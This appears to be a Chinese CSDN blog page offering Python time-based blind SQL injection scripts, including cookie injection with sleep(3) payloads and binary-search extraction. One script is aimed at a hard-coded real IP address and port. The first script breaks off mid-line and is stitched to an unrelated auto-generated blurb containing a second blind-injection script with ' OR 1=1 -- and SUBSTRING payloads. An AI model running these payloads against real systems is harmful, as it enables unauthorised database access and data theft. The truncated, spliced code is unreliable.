时间盲注python脚本(二分查找优化)支持cookie注入

这是一个针对时间盲注的Python脚本,采用二分查找法进行优化,同时支持Cookie注入。适用于字符型注入点,通过修改payload中的select语句来适应不同情况,如在末尾添加注释符或闭合单引号。提供get_length和get_name两个函数,可以根据猜测范围调整最小值和最大值。
摘要由CSDN通过智能技术生成

时间盲注python脚本(二分查找优化)支持cookie注入

菜鸟自用,仅供参考

使用说明

  • 可根据用途更改payload中的select语句,字符型注入点有两种注入情况:
    1、最后添加注释符
    2、最后的字符添加单引号,与原语句中的单引号闭合

  • get_length和get_name可结合使用

  • 可根据自己的猜解范围调整min和max

import requests
import datetime

#cookie中的时间盲注
def get_len_cookie():
    for i in range(0,30):
        url="http://119.6.122.74:2038/menu.php"
        cookies={
   
            'user':'admin'
        }
        #适用于字符型cookie注入
        #若条件符合,延迟3s
        #最后的‘%d是结合服务端的语句闭合,从而不使用注释结尾
        #cookies["user"] += "' and sleep(3) and (select length(@@secure_file_priv))='%d"%(i)
        #若不利用语句闭合,就要在结尾添加注释符
        cookies["user"] += "' and sleep(3) and (select length(@@secure_file_priv))=%d" % (i)+'%23'
        time1 = datetime.datetime.now()
        re = requests
SQL注入是一种常见的安全漏洞,它允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码来执行未经授权的操作。而盲注是一种特殊类型的SQL注入攻击,攻击者无法直接获取数据库的具体信息,但可以通过不断尝试不同的条件来判断是否存在漏洞。 下面是一个使用Python编写的简单SQL注入盲注脚本的示例: ```python import requests def check_vulnerable(url): payload = "' OR 1=1 --" response = requests.get(url + "?id=" + payload) if "Welcome" in response.text: return True else: return False def exploit_blind(url): result = "" characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" while True: found = False for char in characters: payload = "' OR SUBSTRING((SELECT database()), 1, 1) = '" + char + "' --" response = requests.get(url + "?id=" + payload) if "Welcome" in response.text: result += char found = True break if not found: break return result # 示例使用方法 url = "http://example.com/vulnerable_page" if check_vulnerable(url): database_name = exploit_blind(url) print("数据库名称:", database_name) else: print("目标网站不易受SQL注入攻击") ``` 上述脚本中,`check_vulnerable`函数用于检测目标网站是否易受SQL注入攻击,它通过在URL中插入特定的payload来判断是否存在漏洞。`exploit_blind`函数用于利用盲注漏洞获取数据库名称,它通过不断尝试不同的字符来逐个获取数据库名称的每个字符。 请注意,上述脚本仅为示例,实际使用时需要根据具体情况进行修改和扩展,同时要遵循法律和道德规范,仅在合法授权的范围内使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值